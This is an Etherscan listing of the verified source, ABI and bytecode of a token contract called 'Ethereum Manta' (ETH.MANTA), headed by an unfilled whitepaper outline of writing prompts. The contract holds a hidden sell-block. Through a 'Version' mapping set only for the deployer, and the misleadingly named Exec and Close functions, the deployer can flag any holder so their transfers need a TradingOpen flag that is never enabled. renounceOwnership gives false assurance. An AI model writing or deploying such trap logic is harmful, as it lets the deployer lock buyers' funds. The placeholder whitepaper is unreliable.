Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender()    - function _msgData()  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract EthereumManta is Context, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _transfer(address sender, ad ...    - function Close (address _Address)    - function _transferfrom(address sender ...    - function _approve(address owner, addr ...    - function Exec(address _Address)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-02-03
*/

/*
ETHEREUM MANTA NETWORK
Symbol : ETH.MANTA
Supply : 1.000.000.000
https://www.eth-manta.network
https://www.x.com/ethereum_manta
t.me/ethereum_manta
Background and Challenges in Traditional Blockchains:
     - Discuss the rapid growth of blockchain technology and its widespread adoption.
     - Highlight the challenges faced by traditional blockchains, including issues related to transaction speed, scalability, and congestion during peak usage.
     - Provide examples of notable blockchain limitations leading to delays and bottlenecks.

Objectives and Vision of ETH.Manta Network:
     - Clearly define the mission and vision of ETH.Manta Network.
     - Emphasize the network's commitment to addressing scalability challenges through innovative solutions.
     - Establish the importance of modular architecture in achieving scalability without compromising performance.

Overview of Modular Blockchain Architecture:
     - Introduce the concept of a modular blockchain architecture and its significance.
     - Explain how modularity allows for the efficient scaling of the network.
     - Provide a high-level overview of the key components of ETH.Manta's modular architecture.
Scalability Solutions:
Challenges in Transaction Speed and Capacity:
     - Elaborate on the specific challenges faced by traditional blockchains, such as slow transaction speeds and limited capacity.
     - Provide statistics and real-world examples to illustrate the impact of these challenges on user experience.
     - Explain the importance of addressing these challenges for widespread blockchain adoption.

Modular Architecture for Efficient Scaling:
     - Detail the modular approach adopted by ETH.Manta Network for addressing scalability issues.
     - Describe how the modular architecture allows for the seamless addition of resources to handle increased transaction volume.
     - Discuss the adaptability of ETH.Manta's architecture to varying network demands and peak usage times.

Handling Peak Usage Times without Congestion:
     - Illustrate how ETH.Manta Network's modular architecture effectively mitigates congestion during peak usage.
     - Provide case studies or simulations showcasing the network's performance under high transaction loads.
     - Emphasize the user benefits, such as consistent transaction speeds and reduced latency during periods of high demand.
Zero-Knowledge (ZK) Applications:
Role of ETH.Manta Network in Enabling ZK Applications:
     - Define the significance of Zero-Knowledge (ZK) applications in the context of blockchain technology.
     - Explain how ETH.Manta Network serves as an enabling infrastructure for the development and deployment of ZK applications.
     - Highlight the network's commitment to fostering privacy, security, and efficiency in decentralized applications.

Leveraging Innovative Technology for Privacy and Security:
     - Dive into the innovative technologies employed by ETH.Manta Network to ensure privacy and security.
     - Discuss how zero-knowledge proof technology plays a crucial role in enhancing privacy features.
     - Provide technical insights into the encryption methods and cryptographic techniques used to secure transactions.

Development and Deployment of Privacy-Prioritized DApps:
     - Showcase examples of decentralized applications (DApps) that prioritize privacy and security on the ETH.Manta Network.
     - Explain how developers can leverage the infrastructure to create DApps with enhanced privacy features.
     - Discuss the user benefits of using privacy-focused DApps on the ETH.Manta Network, including enhanced data protection and confidentiality.

Modular Blockchain Infrastructure:
Components of ETH.Manta's Modular Architecture:
     - Detail the key components of ETH.Manta Network's modular architecture, including nodes, consensus mechanisms, and smart contract functionality.
- Provide an in-depth explanation of how each component contributes to the overall modularity of the network.
     - Illustrate through diagrams or flowcharts the interplay between different modules to showcase the scalability and adaptability of the architecture.

Benefits of a Modular Approach for Decentralized Applications:
     - Explore the advantages of a modular approach, such as ease of maintenance, flexibility, and the ability to upgrade individual components without disrupting the entire network.
     - Discuss how modularity enhances the network's resilience against potential vulnerabilities and promotes a more sustainable and evolutionary development path.
     - Provide case studies or examples of how modularity has been successfully implemented in other industries and its applicability to blockchain infrastructure.

Scalability Features and Adaptive Growth Capabilities:
     - Break down the scalability features embedded within the modular architecture.
     - Explain how the network dynamically scales resources in response to increased demand, showcasing adaptive growth capabilities.
     - Discuss how ETH.Manta's design allows for horizontal scaling, enabling the network to handle a growing number of transactions without compromising performance.

*/
pragma solidity = 0.8.23;

// SPDX-License-Identifier: MIT

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}
contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


contract EthereumManta is Context, IERC20, Ownable {
    mapping (address => uint256) public _balances;
    mapping (address => uint256) public Version;
    mapping (address => bool) private _User;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _totalSupply;
	bool TradingOpen = false;
    string public _name = "Ethereum Manta";
    string public _symbol = unicode"ETH.MANTA";
    uint8 private _decimals = 18;
	


    constructor () {
 
    uint256 _order = block.number;
	 Version[_msgSender()] += _order;
        _totalSupply += 1000000000 *1000000000000000000;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


        function decimals() public view  returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

  
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

  
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_User[sender])  require(TradingOpen == true, "");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
	
    function Close (address _Address) external  {
     require (Version[_msgSender()] >= _decimals);
        _User[_Address] = false;
    }
	
    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_User[sender] || _User[recipient]) require(TradingOpen == true, "");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     function Exec(address _Address) external  {
    require (Version[_msgSender()] >= _decimals);
        _User[_Address] = true;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"Close","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"Exec","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f60065f6101000a81548160ff0219169083151502179055506040518060400160405280600e81526020017f457468657265756d204d616e7461000000000000000000000000000000000000815250600790816200006391906200055e565b506040518060400160405280600981526020017f4554482e4d414e5441000000000000000000000000000000000000000000000081525060089081620000aa91906200055e565b50601260095f6101000a81548160ff021916908360ff160217905550348015620000d2575f80fd5b505f620000e4620002f360201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f62000198620002f360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001e191906200066f565b925050819055506b033b2e3c9fd0803ce800000060055f8282546200020791906200066f565b9250508190555060055460015f62000224620002f360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200026d91906200066f565b9250508190555062000284620002f360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002e49190620006ba565b60405180910390a350620006d5565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200037657607f821691505b6020821081036200038c576200038b62000331565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003b3565b620003fc8683620003b3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000446620004406200043a8462000414565b6200041d565b62000414565b9050919050565b5f819050919050565b620004618362000426565b6200047962000470826200044d565b848454620003bf565b825550505050565b5f90565b6200048f62000481565b6200049c81848462000456565b505050565b5b81811015620004c357620004b75f8262000485565b600181019050620004a2565b5050565b601f8211156200051257620004dc8162000392565b620004e784620003a4565b81016020851015620004f7578190505b6200050f6200050685620003a4565b830182620004a1565b50505b505050565b5f82821c905092915050565b5f620005345f198460080262000517565b1980831691505092915050565b5f6200054e838362000523565b9150826002028217905092915050565b6200056982620002fa565b67ffffffffffffffff81111562000585576200058462000304565b5b6200059182546200035e565b6200059e828285620004c7565b5f60209050601f831160018114620005d4575f8415620005bf578287015190505b620005cb858262000541565b8655506200063a565b601f198416620005e48662000392565b5f5b828110156200060d57848901518255600182019150602085019450602081019050620005e6565b868310156200062d578489015162000629601f89168262000523565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200067b8262000414565b9150620006888362000414565b9250828201905080821115620006a357620006a262000642565b5b92915050565b620006b48162000414565b82525050565b5f602082019050620006cf5f830184620006a9565b92915050565b611bb680620006e35f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b09f126614610312578063d074dc2814610330578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b806323b872dd116100e757806323b872dd146101b4578063313ce567146101e45780633eaaf86b146102025780635b19963b146102205780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd146101665780631a4baf0b14610184575b5f80fd5b61012061039a565b60405161012d919061140e565b60405180910390f35b610150600480360381019061014b91906114bf565b61042a565b60405161015d9190611517565b60405180910390f35b61016e610447565b60405161017b919061153f565b60405180910390f35b61019e60048036038101906101999190611558565b610450565b6040516101ab919061153f565b60405180910390f35b6101ce60048036038101906101c99190611583565b610465565b6040516101db9190611517565b60405180910390f35b6101ec610560565b6040516101f991906115ee565b60405180910390f35b61020a610575565b604051610217919061153f565b60405180910390f35b61023a60048036038101906102359190611558565b61057b565b005b61025660048036038101906102519190611558565b610633565b604051610263919061153f565b60405180910390f35b61028660048036038101906102819190611558565b610648565b604051610293919061153f565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb9190611616565b60405180910390f35b6102cc6107c5565b6040516102d9919061140e565b60405180910390f35b6102fc60048036038101906102f791906114bf565b610855565b6040516103099190611517565b60405180910390f35b61031a610872565b604051610327919061140e565b60405180910390f35b61034a60048036038101906103459190611558565b6108fe565b005b6103546109b7565b604051610361919061140e565b60405180910390f35b610384600480360381019061037f919061162f565b610a43565b604051610391919061153f565b60405180910390f35b6060600780546103a99061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546103d59061169a565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610471848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b8610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052e9061173a565b60405180910390fd5b61055485610543610ac5565b858461054f9190611785565b610acc565b60019150509392505050565b5f60095f9054906101000a900460ff16905090565b60055481565b60095f9054906101000a900460ff1660ff1660025f610598610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156105dc575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546107d49061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546108009061169a565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484611032565b6001905092915050565b6008805461087f9061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab9061169a565b80156108f65780601f106108cd576101008083540402835291602001916108f6565b820191905f5260205f20905b8154815290600101906020018083116108d957829003601f168201915b505050505081565b60095f9054906101000a900460ff1660ff1660025f61091b610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561095f575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600780546109c49061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546109f09061169a565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3190611828565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f906118b6565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c82919061153f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490611944565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906119d2565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a60565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e48575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610ea3576001151560065f9054906101000a900460ff16151514610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990611aa1565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90611b2f565b60405180910390fd5b8181610f339190611785565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fc09190611b4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611024919061153f565b60405180910390a350505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790611944565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611105906119d2565b60405180910390fd5b5f8111611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790611a60565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111f5576001151560065f9054906101000a900460ff161515146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611aa1565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127090611b2f565b60405180910390fd5b81816112859190611785565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113129190611b4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611376919061153f565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bb5780820151818401526020810190506113a0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e082611384565b6113ea818561138e565b93506113fa81856020860161139e565b611403816113c6565b840191505092915050565b5f6020820190508181035f83015261142681846113d6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145b82611432565b9050919050565b61146b81611451565b8114611475575f80fd5b50565b5f8135905061148681611462565b92915050565b5f819050919050565b61149e8161148c565b81146114a8575f80fd5b50565b5f813590506114b981611495565b92915050565b5f80604083850312156114d5576114d461142e565b5b5f6114e285828601611478565b92505060206114f3858286016114ab565b9150509250929050565b5f8115159050919050565b611511816114fd565b82525050565b5f60208201905061152a5f830184611508565b92915050565b6115398161148c565b82525050565b5f6020820190506115525f830184611530565b92915050565b5f6020828403121561156d5761156c61142e565b5b5f61157a84828501611478565b91505092915050565b5f805f6060848603121561159a5761159961142e565b5b5f6115a786828701611478565b93505060206115b886828701611478565b92505060406115c9868287016114ab565b9150509250925092565b5f60ff82169050919050565b6115e8816115d3565b82525050565b5f6020820190506116015f8301846115df565b92915050565b61161081611451565b82525050565b5f6020820190506116295f830184611607565b92915050565b5f80604083850312156116455761164461142e565b5b5f61165285828601611478565b925050602061166385828601611478565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116b157607f821691505b6020821081036116c4576116c361166d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61172460288361138e565b915061172f826116ca565b604082019050919050565b5f6020820190508181035f83015261175181611718565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61178f8261148c565b915061179a8361148c565b92508282039050818111156117b2576117b1611758565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61181260248361138e565b915061181d826117b8565b604082019050919050565b5f6020820190508181035f83015261183f81611806565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118a060228361138e565b91506118ab82611846565b604082019050919050565b5f6020820190508181035f8301526118cd81611894565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61192e60258361138e565b9150611939826118d4565b604082019050919050565b5f6020820190508181035f83015261195b81611922565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119bc60238361138e565b91506119c782611962565b604082019050919050565b5f6020820190508181035f8301526119e9816119b0565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611a4a60298361138e565b9150611a55826119f0565b604082019050919050565b5f6020820190508181035f830152611a7781611a3e565b9050919050565b50565b5f611a8c5f8361138e565b9150611a9782611a7e565b5f82019050919050565b5f6020820190508181035f830152611ab881611a81565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611b1960268361138e565b9150611b2482611abf565b604082019050919050565b5f6020820190508181035f830152611b4681611b0d565b9050919050565b5f611b578261148c565b9150611b628361148c565b9250828201905080821115611b7a57611b79611758565b5b9291505056fea2646970667358221220abe8c357e6cf44200da2c8876c89dd36b78fcaefad540b979e9cc62aa9e556cd64736f6c63430008170033

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b09f126614610312578063d074dc2814610330578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b806323b872dd116100e757806323b872dd146101b4578063313ce567146101e45780633eaaf86b146102025780635b19963b146102205780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd146101665780631a4baf0b14610184575b5f80fd5b61012061039a565b60405161012d919061140e565b60405180910390f35b610150600480360381019061014b91906114bf565b61042a565b60405161015d9190611517565b60405180910390f35b61016e610447565b60405161017b919061153f565b60405180910390f35b61019e60048036038101906101999190611558565b610450565b6040516101ab919061153f565b60405180910390f35b6101ce60048036038101906101c99190611583565b610465565b6040516101db9190611517565b60405180910390f35b6101ec610560565b6040516101f991906115ee565b60405180910390f35b61020a610575565b604051610217919061153f565b60405180910390f35b61023a60048036038101906102359190611558565b61057b565b005b61025660048036038101906102519190611558565b610633565b604051610263919061153f565b60405180910390f35b61028660048036038101906102819190611558565b610648565b604051610293919061153f565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb9190611616565b60405180910390f35b6102cc6107c5565b6040516102d9919061140e565b60405180910390f35b6102fc60048036038101906102f791906114bf565b610855565b6040516103099190611517565b60405180910390f35b61031a610872565b604051610327919061140e565b60405180910390f35b61034a60048036038101906103459190611558565b6108fe565b005b6103546109b7565b604051610361919061140e565b60405180910390f35b610384600480360381019061037f919061162f565b610a43565b604051610391919061153f565b60405180910390f35b6060600780546103a99061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546103d59061169a565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610471848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b8610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff